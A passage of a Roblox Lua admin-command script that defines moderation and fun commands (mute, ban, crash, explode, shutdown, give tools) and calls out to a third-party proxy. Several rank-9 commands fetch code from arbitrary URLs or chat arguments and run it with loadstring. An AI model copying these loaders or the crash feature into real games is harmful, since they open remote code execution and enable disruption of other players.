		if GetRank(Player).Rank > GetRank(v).Rank then
4289
			Mute(v)
4290
		end
4291
	end
4292
end,
4293
true
4294
)
4295
AddCommand(
4296
'UnMute',
4297
5,
4298
{
4299
	'unmute'
4300
},
4301
'UnMutes specified player(s).',
4302
Prefix..'unmute [player],[player2]',
4303
function(Player, Arguments)
4304
	local arg1 = Arguments[1]
4305
	table.remove(Arguments, 1)
4306
	for i, v in pairs(GetPlayers(Player, arg1)) do
4307
		--if GetRank(Player).Rank > GetRank(v).Rank then
4308
			UnMute(v)
4309
		--end
4310
	end
4311
end,
4312
true
4313
)
4314
AddCommand(
4315
'Crash',
4316
5,
4317
{
4318
	'crash'
4319
},
4320
'Crashes specified player(s).',
4321
Prefix..'crash [player],[player2]',
4322
function(Player, Arguments)
4323
	local Players = GetPlayers(Player, Arguments[1])
4324
	for i, v in pairs(Players) do
4325
		if GetRank(Player).Rank > GetRank(v).Rank then
4326
			Crash(v)
4327
		end
4328
	end
4329
end,
4330
true
4331
)
4332
AddCommand(
4333
'[DONOR] ClanName',
4334
0,
4335
{
4336
	'clanname'
4337
},
4338
'Makes your clanname appear above your head.',
4339
Prefix..'clanname',
4340
function(Player, Arguments)
4341
--if game:service'MarketplaceService':PlayerOwnsAsset(Player,0) then
4342
	local Clan = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync('http://api.rproxy.pw/clans/get-by-user?userId='..Player.userId))
4343
	Commands.Name.Function(Player, {
4344
		'me',
4345
		(Clan.Name..'\n' or '')..Player.Name
4346
	})
4347
--end
4348
end,
4349
true
4350
)
4351
AddCommand(
4352
'Ban',
4353
6,
4354
{
4355
	'ban'
4356
},
4357
'Bans specified player(s).',
4358
Prefix..'ban [player],[player2] [reason]',
4359
function(Player, Arguments)
4360
	local KickMessage = 'You have been banned by '..Player.Name..'.'
4361
	if #Arguments > 1 then
4362
		KickMessage = 'Banned. Reason: '..Arguments[2]..' -'..Player.Name
4363
	elseif #Arguments == 0 then
4364
		return
4365
	end
4366
	local Players = GetPlayers(Player, Arguments[1])
4367
	for i, v in pairs(Players) do
4368
		thread(function()
4369
			if GetRank(Player).Rank > GetRank(v).Rank then
4370
				Ranked[v.userId].Rank = -1
4371
				ForceDisconnect(v, KickMessage)
4372
			end
4373
		end)
4374
	end
4375
end,
4376
true
4377
)
4378
AddCommand(
4379
'Explode',
4380
4,
4381
{
4382
	'explode'
4383
},
4384
'Explodes specified player(s).',
4385
Prefix..'explode [player],[player2]',
4386
function(Player, Arguments)
4387
	local Players = GetPlayers(Player, Arguments[1])
4388
	for i, v in pairs(Players) do
4389
		thread(function()
4390
			Instance.new('Explosion', v.Character).Position = v.Character.Torso.Position
4391
		end)
4392
	end
4393
end,
4394
true
4395
)
4396
AddCommand(
4397
'Shutdown',
4398
9,
4399
{
4400
	'sd',
4401
	'shutdown'
4402
},
4403
'Closes the server.',
4404
Prefix..'shutdown',
4405
function(Player, Arguments)
4406
	repeat
4407
		for i, v in pairs(GetRawPlayers()) do
4408
			ForceDisconnect(v, 'This game has shut down')
4409
		end
4410
	until wait() == nil
4411
end,
4412
true
4413
)
4414
AddCommand(
4415
'Give Tools',
4416
4,
4417
{
4418
	'gt',
4419
	'givetools'
4420
},
4421
'Gives startertools to specified player(s).',
4422
Prefix..'gt [player],[player2]',
4423
function(Player, Arguments)
4424
	local Players = GetPlayers(Player, Arguments[1])
4425
	for i, v in pairs(Players) do
4426
		thread(function()
4427
			for k, l in pairs(v.StarterGear:children()) do
4428
				if l:IsA'Tool' or l:IsA'HopperBin' then
4429
					l:clone().Parent = v.Backpack
4430
				end
4431
			end
4432
		end)
4433
	end
4434
end,
4435
true
4436
)
4437
AddCommand(
4438
'Give Build Tools',
4439
4,
4440
{
4441
	'btools',
4442
	'givebtools',
4443
	'gbtools',
4444
	'givebuildtools'
4445
},
4446
'Gives startertools to specified player(s).',
4447
Prefix..'gt [player],[player2]',
4448
function(Player, Arguments)
4449
	local Players = GetPlayers(Player, Arguments[1])
4450
	for i, v in pairs(Players) do
4451
		thread(function()
4452
			for k, l in pairs(BuildTools) do
4453
				local bt = l:clone()
4454
				bt.Parent = v.Backpack
4455
				if l.Name == 'F3X' then
4456
					wait()
4457
					l["Building Tools by F3X"].Disabled = false
4458
				end
4459
			end
4460
		end)
4461
	end
4462
end,
4463
true
4464
)
4465
--[[AddCommand(
4466
'Insert',
4467
4,
4468
{'ins'},
4469
'Shows owners models to insert, and allows inserting from tabs.',
4470
Prefix..'ins [page]',
4471
function(Player,Arguments)
4472
if #Arguments >=1 then else return end
4473
local page=tonumber(Arguments[1])
4474
local perpage=10
4475
	Dismiss(Player)
4476
local set=game:service'InsertService':GetUserSets(gameCreatorId)[1]
4477
for o=1, #set do
4478
p=set[o]
4479
if o>=(page*perpage)+1 and o)<(page*2*perpage)+1 then
4480
else
4481
break
4482
end
4483
Ping(Player,p.Name..'\nby '..p.CreatorName,function()
4484
for _,obj in pairs(game:service'InsertService':LoadAssetVersion(p.AssetVersionId):children()) do
4485
if obj:IsA'Tool' then
4486
obj.Parent=Player.Backpack
4487
elseif obj:IsA'HopperBin' then
4488
obj.Parent=Player.Backpack
4489
elseif obj:IsA'Script' then
4490
obj.Parent=workspace
4491
elseif obj:IsA'LocalScript' then
4492
obj.Parent=Player.PlayerGui
4493
elseif obj:IsA'ModuleScript' then
4494
obj.Parent=workspace
4495
else
4496
obj.Parent=workspace
4497
if obj:IsA'Model' then
4498
4499
thread(function()
4500
obj:MoveTo(Player.Character.Torso.Position)
4501
end)
4502
4503
elseif obj:IsA'Part' then
4504
4505
thread(function()
4506
obj.CFrame=Player.Character.Torso.CFrame
4507
end)
4508
end
4509
end
4510
end
4511
end)
4512
end
4513
end,false)]]
4514
AddCommand(
4515
'Insert',
4516
5,
4517
{
4518
	'ins'
4519
},
4520
'Searches through models, and shows models to insert. Only allows the game CREATORS Models, and is sorted by most recent.',
4521
Prefix..'insert [search]',
4522
function(Player, Arguments, Page)
4523
	Page = Page or 1
4524
	if #Arguments == 0 then
4525
		Arguments={' '}
4526
	else
4527
		
4528
	end
4529
	Dismiss(Player)
4530
	local models = service'HttpService':JSONDecode(service'HttpService':GetAsync("http://rproxy.pw/catalog/json?CatalogContext=2&CreatorID="..game.CreatorId.."&Keyword="..service'HttpService':UrlEncode(Join(Arguments)).."&CurrencyType=0&pxMin=0&pxMax=0&SortType=3&SortAggregation=3&SortCurrency=0&IncludeNotForSale=true&LegendExpanded=true&Category=6&ResultsPerPage=10&PageNumber="..Page))
4531
	if #models >= 1 then
4532
	else
4533
		return
4534
	end
4535
	Ping(Player, 'Close', function()
4536
		Dismiss(Player)
4537
	end, 'Really red')
4538
	Ping(Player, 'Next Page', function()
4539
		Dismiss(Player)
4540
		Commands.Insert.Function(Player, Arguments, Page + 1)
4541
	end, 'Lime green')
4542
	if Page ~= 1 then
4543
		Ping(Player, 'Previous Page', function()
4544
			Dismiss(Player)
4545
			Commands.Insert.Function(Player, Arguments, Page - 1)
4546
		end, 'Lime green')
4547
	end
4548
	for i, v in pairs(models) do
4549
				--for o, p in pairs(v) do
4550
					Ping(Player, v.Name, function()
4551
						local mps = service'MarketplaceService'
4552
						for _, obj in pairs(game:service'InsertService':LoadAsset(v.AssetId):children()) do
4553
							if obj:IsA'Tool' then
4554
								obj.Parent = Player.Backpack
4555
							elseif obj:IsA'HopperBin' then
4556
								obj.Parent = Player.Backpack
4557
							elseif obj:IsA'Script' then
4558
								obj.Parent = workspace
4559
							elseif obj:IsA'LocalScript' then
4560
								obj.Parent = Player.PlayerGui
4561
							elseif obj:IsA'ModuleScript' then
4562
								obj.Parent = workspace
4563
							else
4564
								obj.Parent = workspace
4565
								if obj:IsA'Model' then
4566
									thread(function()
4567
										obj:MoveTo(Player.Character.Torso.Position)
4568
									end)
4569
								elseif obj:IsA'Part' then
4570
									thread(function()
4571
										obj.Parent:MoveTo(Player.Character.Torso.Position)
4572
									end)
4573
								end
4574
							end
4575
						end
4576
					end)
4577
				--end
4578
	end
4579
end,
4580
false
4581
)
4582
AddCommand(
4583
'Remove Tools',
4584
4,
4585
{
4586
	'rt',
4587
	'removetools'
4588
},
4589
'Removes tools from specified player(s).',
4590
Prefix..'rt [player],[player2]',
4591
function(Player, Arguments)
4592
	local Players = GetPlayers(Player, Arguments[1])
4593
	for i, v in pairs(Players) do
4594
		thread(function()
4595
			for k, l in pairs(v.Backpack:children()) do
4596
				if l:IsA'Tool' or l:IsA'HopperBin' then
4597
					l:Destroy()
4598
				end
4599
			end
4600
		end)
4601
	end
4602
end,
4603
true
4604
)
4605
AddCommand(
4606
'Sound',
4607
4,
4608
{
4609
	'sound'
4610
},
4611
'Toggles whether sound can be heard.',
4612
Prefix..'sound [on/off/number]',
4613
function(Player, Arguments)
4614
	if Arguments[1]=='on' then
4615
	game:service'SoundService'.DistanceFactor=1
4616
	elseif Arguments[1]=='off' then
4617
	game:service'SoundService'.DistanceFactor=math.huge
4618
	else
4619
	game:service'SoundService'.DistanceFactor=tonumber(Arguments[1])
4620
	end
4621
end,
4622
true
4623
)
4624
AddCommand(
4625
'Admins',
4626
0,
4627
{
4628
	'admins'
4629
},
4630
'Shows a list of all admins above or equal to lvl 3.',
4631
Prefix..'admins',
4632
function(Player, Arguments)
4633
	for i, v in pairs(Ranked) do
4634
		if v.Rank >= 3 then
4635
			Ping(Player, UsernameFromID(i)..'\n Rank | '..RankName(v.Rank, i), nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..i)
4636
		end
4637
	end
4638
end,
4639
true
4640
)
4641
AddCommand(
4642
'Run Command',
4643
4,
4644
{
4645
	'rc'
4646
},
4647
'Allows you to run commands on a player.',
4648
Prefix..'rt [player],[player2] [reason]',
4649
function(Player, Arguments)
4650
	Dismiss(Player)
4651
	local RunCommands = {
4652
		['Kill'] = {
4653
			'Player'
4654
		};
4655
		['Remove Tools'] = {
4656
			'Player'
4657
		};
4658
		['Ranks'] = {};
4659
		['Shutdown'] = {};
4660
		['Give Build Tools'] = {
4661
			'Player'
4662
		};
4663
		['Give Tools'] = {
4664
			'Player'
4665
		};
4666
		['Explode'] = {
4667
			'Player'
4668
		};
4669
		['Ban'] = {
4670
			'Player'
4671
		};
4672
		['Kick'] = {
4673
			'Player'
4674
		};
4675
		['UnFly'] = {
4676
			'Player'
4677
		};
4678
		['Fly'] = {
4679
			'Player'
4680
		};
4681
		['Kill'] = {
4682
			'Player'
4683
		};
4684
		['Dismiss'] = {};
4685
		['Loopkill'] = {
4686
			'Player'
4687
		};
4688
		['UnLoopkill'] = {
4689
			'Player'
4690
		};
4691
		['God'] = {
4692
			'Player'
4693
		};
4694
		['Heal'] = {
4695
			'Player'
4696
		};
4697
		['Reset'] = {
4698
			'Player'
4699
		};
4700
		['Settings'] = {};
4701
		['Commands'] = {};
4702
	}
4703
	Ping(Player, 'Refresh', function()
4704
		Commands['Run Command'](Player, {})
4705
	end, 'Really blue')
4706
	Ping(Player, 'Close', function()
4707
		Dismiss(Player)
4708
	end, 'Really red')
4709
	for i, v in pairs(RunCommands) do
4710
		Ping(Player, i, function()
4711
			Dismiss(Player)
4712
			if #v == 0 then
4713
				Commands[i].Function(Player, {})
4714
			else
4715
				for k, l in pairs(GetRawPlayers()) do
4716
					Ping(Player, l.Name, function()
4717
						Commands[i].Function(Player, {
4718
							l.Name
4719
						})
4720
						Commands['Run Command'].Function(Player, {})
4721
					end)
4722
				end
4723
			end
4724
		end)
4725
	end
4726
end,
4727
true
4728
)
4729
AddCommand(
4730
'Message',
4731
4,
4732
{
4733
	'm'
4734
},
4735
'Allows you to send a message to everyone.',
4736
Prefix..'m Hi',
4737
function(Player, Arguments)
4738
	for i, v in pairs(GetRawPlayers()) do
4739
		Ping(v, Join(Arguments))
4740
	end
4741
end, true)
4742
AddCommand(
4743
'Alt Name',
4744
0,
4745
{
4746
	'altname'
4747
},
4748
'Suggests a possible alternative account name.',
4749
Prefix..'altname',
4750
function(Player, Arguments)
4751
	Ping(Player, game:service'HttpService':GetAsync('http://rproxy.pw/UserCheck/GetRecommendedUsername?usernameToTry='..Player.Name))
4752
end, true)
4753
AddCommand(
4754
'Name',
4755
4,
4756
{
4757
	'name'
4758
},
4759
'Allows you to name specified players.',
4760
Prefix..'name [player1],[player2] [name]',
4761
function(Player, Arguments)
4762
	if #Arguments < 2 then
4763
		return
4764
	end
4765
	Players = Arguments[1]
4766
	table.remove(Arguments, 1)
4767
	for i, v in pairs(GetPlayers(Player, Players)) do
4768
		thread(function()
4769
			if v and v.Character and v.Character:findFirstChild("Head") then 
4770
				for a, mod in pairs(v.Character:children()) do
4771
					if mod:findFirstChild("NameTag") then
4772
						v.Character.Head.Transparency = 0
4773
						mod:Destroy()
4774
					end
4775
				end
4776
				local char = v.Character
4777
				local mod = Instance.new("Model", char)
4778
				mod.Name = Join(Arguments)
4779
				local cl = char.Head:Clone()
4780
				cl.Parent = mod
4781
				local hum = Instance.new("Humanoid", mod)
4782
				hum.Name = "NameTag"
4783
				hum.MaxHealth = 0
4784
				hum.Health = 0
4785
				local weld = Instance.new("Weld", cl)
4786
				weld.Part0 = cl
4787
				weld.Part1 = char.Head
4788
				char.Head.Transparency = 1
4789
				thread(function()
4790
					char.Humanoid.Changed:connect(function()
4791
						hum.MaxHealth = char.Humanoid.MaxHealth
4792
						hum.Health = char.Humanoid.Health
4793
					end)
4794
					hum.MaxHealth = char.Humanoid.MaxHealth
4795
					hum.Health = char.Humanoid.Health
4796
				end)
4797
			end
4798
		end)
4799
	end
4800
end, true)
4801
AddCommand(
4802
'Hint',
4803
4,
4804
{
4805
	'h'
4806
},
4807
'Allows you to send a hint to everyone.',
4808
Prefix..'h [Message]',
4809
function(Player, Arguments)
4810
	if #Arguments < 1 then
4811
		return
4812
	end
4813
	local _time = string.len(Join(Arguments)) / 10
4814
	if _time < 4 then
4815
		_time = 4
4816
	end
4817
	for i, v in pairs(game:service'Players':GetPlayers()) do
4818
		thread(function()
4819
			Hint(v, Player.Name..': ', Join(Arguments), _time + 2)
4820
		end)
4821
	end
4822
end, true)
4823
AddCommand(
4824
'Countdown',
4825
4,
4826
{
4827
	'count',
4828
	'countdown'
4829
},
4830
'Allows you to start a countdown.',
4831
Prefix..'count [time]',
4832
function(Player, Arguments)
4833
	if #Arguments == 0 then
4834
		return
4835
	end
4836
	local curreps = endreps
4837
	for o = 1, (Arguments[1] or 0) do
4838
		for i, v in pairs(game:service'Players':GetPlayers()) do
4839
			thread(function()
4840
				Hint(v, 'Countdown: ', (Arguments[1] or 0) - o, 1)
4841
			end)
4842
		end
4843
		if endreps ~= curreps then
4844
			break
4845
		end
4846
		wait(1)
4847
	end
4848
	for i, v in pairs(game:service'Players':GetPlayers()) do
4849
		thread(function()
4850
			Hint(v, 'Countdown: ', 'BEGIN!', 1)
4851
		end)
4852
	end
4853
end, true)
4854
AddCommand(
4855
'SearchMusic',
4856
0,
4857
{
4858
	'searchmusic',
4859
	'sm'
4860
},
4861
'Searches up music, allows you to play music.',
4862
Prefix..'sm pumped up kicks',
4863
function(Player, Arguments, Page)
4864
	Page = Page or 1
4865
	local tosearch = Join(Arguments)
4866
	local songs = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync('http://rproxy.pw/catalog/json?CatalogContext=2&SortType=0&SortAggregation=3&SortCurrency=0&LegendExpanded=true&Category=9&ResultsPerPage=10&IncludeNotForSale=true&PageNumber='..tostring(Page)..'&Keyword='..tosearch))
4867
	Dismiss(Player)
4868
	if Page ~= 1 then
4869
		Ping(Player, 'Previous Page', function()
4870
			Commands.SearchMusic.Function(Player, Arguments, Page - 1)
4871
		end, 'Lime green')
4872
	end
4873
	Ping(Player, 'Next Page', function()
4874
		Commands.SearchMusic.Function(Player, Arguments, Page + 1)
4875
	end, 'Lime green')
4876
	Ping(Player, 'Close', function()
4877
		Dismiss(Player)
4878
	end, 'Really red')
4879
	for i, v in pairs(songs) do
4880
		Ping(Player, v.Name, function()
4881
			Dismiss(Player)
4882
			Ping(Player, 'Close', function()
4883
				Dismiss(Player)
4884
			end, 'Really red')
4885
			Ping(Player, 'Back', function()
4886
				Dismiss(Player)
4887
				Commands.SearchMusic.Function(Player, Arguments, Page)
4888
			end, 'Really red')
4889
			Ping(Player, 'Name | '..v.Name)
4890
			Ping(Player, 'Id | '..v.AssetId)
4891
			Ping(Player, 'Creator | '..v.Creator)
4892
			Ping(Player, 'Play', function()
4893
				Commands.Music.Function(Player, {
4894
					tostring(v.AssetId)
4895
				})
4896
			end)
4897
			if GetRank(Player).Rank >= 3 then
4898
				Ping(Player, 'Play on server', function()
4899
					Commands.Music.Function(Player, {
4900
						tostring(v.AssetId),
4901
						'srv',
4902
						'true'
4903
					})
4904
				end)
4905
			end
4906
			if v.IsForSale or v.IsPublicDomain then
4907
				Ping(Player, 'Buy', function()
4908
					game:service'MarketplaceService':PromptPurchase(Player, v.AssetId)
4909
				end)
4910
			else
4911
				Ping(Player, 'Not for sale.')
4912
			end
4913
		end)
4914
	end
4915
end, false
4916
)
4917
AddCommand(
4918
'Pitch',
4919
3,
4920
{
4921
	'pitch'
4922
},
4923
'Sets music pitch.',
4924
Prefix..'pitch [speed]',
4925
function(Player, Arguments)
4926
	for i, v in pairs(workspace:children()) do
4927
		if v:IsA'Sound' then
4928
			v.Pitch = tonumber(Arguments[1])
4929
		end
4930
	end
4931
end, true)
4932
AddCommand(
4933
'[DISABLED] Load Plugin',
4934
10,
4935
{
4936
	'loadplugin',
4937
	'lp'
4938
},
4939
'Loads specified plugin.',
4940
Prefix..'pitch [speed]',
4941
function(Player, Arguments)
4942
	for i, v in pairs(Arguments) do
4943
LoadPlugin(tonumber(v))
4944
	end
4945
end, true)
4946
AddCommand(
4947
'Sword Of Nyx',
4948
3,
4949
{
4950
	'swordnyx',
4951
	'nyxsword',
4952
	'ns'
4953
},
4954
'Gives sword to specified users.',
4955
Prefix..'nyxsword [player1],[player2]',
4956
function(Player, Arguments)
4957
	local sword = Sword_Of_Nyx
4958
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
4959
		sword:clone().Parent = v.Backpack
4960
	end
4961
end, true)
4962
AddCommand(
4963
'Sword',
4964
3,
4965
{
4966
	'sword'
4967
},
4968
'Gives sword to specified users.',
4969
Prefix..'sword [player1],[player2]',
4970
function(Player, Arguments)
4971
	local sword = game:service'InsertService':LoadAsset(125013769):children()[1]
4972
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
4973
		if v.Name ~= 'DarthStrantax' then
4974
			sword:clone().Parent = v.Backpack
4975
		else
4976
			sword:clone().Parent = v.Backpack
4977
			game:service'InsertService':LoadAsset(108149175):children()[1].Parent = v.Backpack
4978
		end
4979
	end
4980
end, true)
4981
AddCommand(
4982
'Gear',
4983
3,
4984
{
4985
	'gear'
4986
},
4987
'Gears specified users.',
4988
Prefix..'gear [player1],[player2] [id]',
4989
function(Player, Arguments)
4990
	local sword = game:service'InsertService':LoadAsset(tonumber(Arguments[2])):children()[1]
4991
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
4992
		sword:clone().Parent = v.Backpack
4993
		if Arguments[3] and Arguments[3] == 'true' then
4994
			sword:clone().Parent = v.StarterGear
4995
		end
4996
--game:service'InsertService':LoadAsset(108149175):children()[1].Parent=v.Backpack
4997
	end
4998
end, true)
4999
AddCommand(
5000
'Size',
5001
3,
5002
{
5003
	'size'
5004
},
5005
'Changes specified users size.',
5006
Prefix..'size [player1],[player2] [size]',
5007
function(Player, Arguments)
5008
	if (tonumber(Arguments[2]) or 0) > 50 then
5009
		Ping(Player, 'Sizes cannot be more than 50!', nil, 'Really red')
5010
		return
5011
	end
5012
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
5013
		thread(function()
5014
			if not (v and v.Character and v.Character:findFirstChild('Torso') and v.Character:findFirstChild('HumanoidRootPart')) then
5015
				return
5016
			end
5017
			local ags = {
5018
				c = v.Character,
5019
				t = v.Character.Torso,
5020
				r = v.Character.HumanoidRootPart
5021
			}
5022
			ags.t.Anchored = true
5023
			ags.t.BottomSurface = 0
5024
			ags.t.TopSurface = 0
5025
			local welds = {}
5026
			for i2, v2 in pairs(ags.c:children()) do
5027
				if v2:IsA('BasePart') then 
5028
					v2.Anchored = true
5029
				end
5030
			end
5031
			local function size(p)
5032
				for i2, v2 in pairs(p:children()) do
5033
					if (v2:IsA('Weld') or v2:IsA('Motor') or v2:IsA('Motor6D')) and v2.Part1 and v2.Part1:IsA("Part") then
5034
						local p1 = v2.Part1 
5035
						p1.Anchored = true 
5036
						v2.Part1 = nil
5037
						local r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11, r12 = v2.C0:components()
5038
						v2.C0 = CFrame.new(r1 * Arguments[2], r2 * Arguments[2], r3 * Arguments[2], r4, r5, r6, r7, r8, r9, r10, r11, r12)
5039
						local r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11, r12 = v2.C1:components()
5040
						v2.C1 = CFrame.new(r1 * Arguments[2], r2 * Arguments[2], r3 * Arguments[2], r4, r5, r6, r7, r8, r9, r10, r11, r12)
5041
						if p1.Name ~= 'Head' and p1.Name ~= 'Torso' then
5042
							p1.formFactor = 3
5043
							p1.Size = p1.Size * Arguments[2]
5044
						elseif p1.Name ~= 'Torso' then
5045
							p1.Anchored = true
5046
							for i3, v3 in pairs(p1:children()) do
5047
								if v3:IsA('Weld') then
5048
									v3.Part0 = nil
5049
									v3.Part1.Anchored = true
5050
								end
5051
							end
5052
							p1.formFactor = 3
5053
							p1.Size = p1.Size * Arguments[2]
5054
							for i3, v3 in pairs(p1:children()) do
5055
								if v3:IsA('Weld') then
5056
									v3.Part0 = p1
5057
									v3.Part1.Anchored = false
5058
								end
5059
							end
5060
						end
5061
						if v2.Parent == ags.t then
5062
							p1.BottomSurface = 0
5063
							p1.TopSurface = 0
5064
						end
5065
						p1.Anchored = false
5066
						v2.Part1 = p1
5067
						if v2.Part0 == ags.t then
5068
							table.insert(welds, v2)
5069
							p1.Anchored = true
5070
							v2.Part0 = nil
5071
						end
5072
					elseif v2:IsA('CharacterMesh') then
5073
						local bp = tostring(v2.BodyPart):match('%w+.%w+.(%w+)')
5074
						local msh = Instance.new('SpecialMesh')
5075
					elseif v2:IsA('SpecialMesh') and v2.Parent ~= ags.c.Head then 
5076
						v2.Scale = v2.Scale * Arguments[2]
5077
					end 
5078
					size(v2)
5079
				end
5080
			end
5081
			size(ags.c)
5082
			ags.t.formFactor = 3
5083
			ags.t.Size = ags.t.Size * Arguments[2]
5084
			for i2, v2 in pairs(welds) do
5085
				v2.Part0 = ags.t
5086
				v2.Part1.Anchored = false
5087
			end
5088
			for i2, v2 in pairs(ags.c:children()) do
5089
				if v2:IsA('BasePart') then
5090
					v2.Anchored = false
5091
				end
5092
			end
5093
			local weld = Instance.new('Weld', ags.r)
5094
			weld.Part0 = ags.r
5095
			weld.Part1 = ags.t
5096
		end)
5097
	end
5098
end, true)
5099
AddCommand(
5100
'Music',
5101
0,
5102
{
5103
	'music'
5104
},
5105
'Plays music locally. Srv argument plays server-sided (Semi-Mod+).',
5106
Prefix..'music [id] [srv]',
5107
function(Player, Arguments)
5108
	local Id
5109
	local Srv = false
5110
	if Arguments[1] then
5111
		Id = Arguments[1]
5112
	else
5113
		return
5114
	end
5115
	if #Arguments >= 2 and GetRank(Player).Rank >= 3 then
5116
		Srv = Arguments[2] == 'srv'
5117
	end
5118
	if Srv then
5119
		for i, v in pairs(workspace:children()) do
5120
			if v:IsA'Sound' then
5121
				thread(function()
5122
					v:Pause()
5123
					v:Destroy()
5124
				end)
5125
			end
5126
		end
5127
		local music = Instance.new('Sound')
5128
		music.Parent = workspace
5129
		music.Looped = tobool(Arguments[3]) or false
5130
		music.Pitch = 1
5131
		music.SoundId = "http://www.roblox.com/asset/?id="..Id
5132
		music:Play()
5133
	else
5134
		Music(Player, Id, tobool(Arguments[2]) or false)
5135
	end
5136
end,
5137
false
5138
)
5139
AddCommand(
5140
'Local Exe',
5141
9,
5142
{
5143
	'lexe',
5144
	'l'
5145
},
5146
'Locally Loadstrings arguments.',
5147
Prefix..'lexe [source]',
5148
function(Player, Arguments)
5149
	local sc = LocalLoadstring:clone()
5150
	sc.Parent = Player.Backpack
5151
	sc.src.Value = Join(Arguments)
5152
	table.insert(Objects, sc)
5153
	wait()
5154
	sc.Disabled = false
5155
end,
5156
false
5157
)
5158
AddCommand(
5159
'Http Local Exe',
5160
9,
5161
{
5162
	'hlexe',
5163
	'hl'
5164
},
5165
'Locally Loadstrings http arguments.',
5166
Prefix..'hlexe [link to source]',
5167
function(Player, Arguments)
5168
	local sc = LocalLoadstring:clone()
5169
	sc.Parent = Player.Backpack
5170
	sc.src.Value = game:service'HttpService':GetAsync(Join(Arguments))
5171
	table.insert(Objects, sc)
5172
	wait()
5173
	sc.Disabled = false
5174
end,
5175
false
5176
)
5177
AddCommand(
5178
'Http Exe',
5179
9,
5180
{
5181
	'hexe',
5182
	'hs'
5183
},
5184
'Loadstrings http arguments',
5185
Prefix.."exe print'Hello World'",
5186
function(Player, Arguments)
5187
	table.insert(Objects, loadcode(game:service'HttpService':GetAsync(Join(Arguments))))
5188
end,
5189
false
5190
)
5191
AddCommand(
5192
'Exe',
5193
9,
5194
{
5195
	'exe',
5196
	's'
5197
},
5198
'Loadstrings arguments',
5199
Prefix.."exe print'Hello World'",
5200
function(Player, Arguments)
5201
	table.insert(Objects, loadcode(Join(Arguments)))
5202
end,
5203
false
5204
)
5205
AddCommand(
5206
'Ranks',
5207
0,
5208
{
5209
	'ranks'
5210
},
5211
'Shows all ranks, and allows you to set other peoples if ranked enough.',
5212
Prefix..'ranks',
5213
function(Player, Arguments)
5214
	Dismiss(Player)
5215
	for i, v in pairs(Ranked) do
5216
		Ping(Player, UsernameFromID(i), function()
5217
			Dismiss(Player)
5218
			Ping(Player, 'Name | '..UsernameFromID(i), nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..i)
5219
			Ping(Player, 'Rank | '..RankName(v.Rank, i) or '', function()
5220
				if GetRank(Player).Rank ~= nil and GetRank(Player).Rank > v.Rank and GetRank(Player).Rank >= 6 then
5221
					Dismiss(Player)
5222
					Ping(Player, 'Back', function()
5223
						Core.Commands.Ranks(Player, {})
5224
					end, 'Really blue')
5225
					Ping(Player, 'Close', function()
5226
						Dismiss(Player)
5227
					end, 'Really red')
5228
					local numberofranks = GetRank(Player).Rank + 1
5229
					if numberofranks > 12 then
5230
						numberofranks = 12
5231
					end
5232
					for i = 1, numberofranks do
5233
						local id = i - 2
5234
						Ping(Player, 'SetRank '..RankName(id), function()
5235
							Dismiss()
5236
							v.Rank = id
5237
							Commands.Ranks.Function(Player, Arguments)
5238
						end)
5239
					end
5240
				end
5241
			end)
5242
		end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..i)
5243
	end
5244
end,
5245
false
5246
)
5247
AddCommand(
5248
'Aether',
5249
4,
5250
{
5251
	'aeth'
5252
},
5253
'Creates a baseplate in the sky.',
5254
Prefix..'aeth',
5255
function(Player, Arguments)
5256
	local ladders = {}
5257
	local cf = Player.Character.Torso.CFrame * CFrame.new(0, -5, 0)
5258
	Player.Character.Humanoid.WalkSpeed = 30
5259
	for i = 1, 1000 do
5260
		wait()
5261
		if #ladders > 99 then
5262
			ladders[1]:Destroy''
5263
			table.remove(ladders, 1)
5264
		else
5265
			local ladder = Instance.new('Part', Player.Character or nil)
5266
			ladder.Anchored = true
5267
			ladder.FormFactor = 'Custom'
5268
			ladder.Size = Vector3.new(2, .4, 1.2)
5269
			ladder.CFrame = cf * CFrame.new(0, .8, 0)
5270
			ladder.Transparency = .75
5271
			cf = ladder.CFrame
5272
			table.insert(ladders, ladder)
5273
		end
5274
	end
5275
	wait(.1)
5276
	local base = Instance.new('Part', Player.Character or nil)
5277
	base.Anchored = true
5278
	base.FormFactor = 'Custom'
5279
	base.Material = 'Grass'
5280
	base.BrickColor = BrickColor.new('Camo')
5281
	base.CFrame = cf * CFrame.new(0, .6, -251)
5282
	base.Size = Vector3.new(500, .2, 500)
5283
	base.TopSurface = 'Smooth'
5284
	local cd = Instance.new('ClickDetector', base)
5285
	cd.MaxActivationDistance = math.huge
5286
	cd.MouseClick:connect(function(clicker)
5287
		game:service'Chat':chat(clicker.Character, '*Eats Grass of Immortallity*')
5288
		clicker.Character.Humanoid.MaxHealth = math.huge
5289
	end)
5290
	for i = 1, 100 do
5291
		wait()
5292
		ladders[1]:Destroy''
5293
		table.remove(ladders, 1)
5294
	end
5295
	Player.Character.Humanoid.WalkSpeed = 16
5296
end,
5297
true
5298
)
5299
AddCommand(
5300
'Place Teleport',
5301
4,
5302
{
5303
	'place'
5304
},
5305
'Teleports users to specified place.',
5306
Prefix..'place [player] 300988311',
5307
function(Player, Arguments)
5308
	if #Arguments < 2 then
5309
		return
5310
	end
5311
	local JobId = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync('http://rproxy.pw/Game/PlaceLauncher.ashx?request=RequestGame&placeId='..Arguments[2])).jobId
5312
	local Players = GetPlayers(Player, Arguments[1])
5313
	for i, v in pairs(Players) do
5314
		TeleportTo(v, Arguments[2], JobId)
5315
		PlaceTeleport(v, Arguments[2])
5316
	end
5317
end,
5318
true
5319
)
5320
AddCommand(
5321
'Private Message',
5322
3,
5323
{
5324
	'pm'
5325
},
5326
'Sends a private message to specified players.',
5327
Prefix..'pm [player],[player2] I need backup!',
5328
function(Player, Arguments)
5329
	local Players = GetPlayers(Player, Arguments[1])
5330
	table.remove(Arguments, 1)
5331
	local str = ''
5332
	for i, v in pairs(Players) do
5333
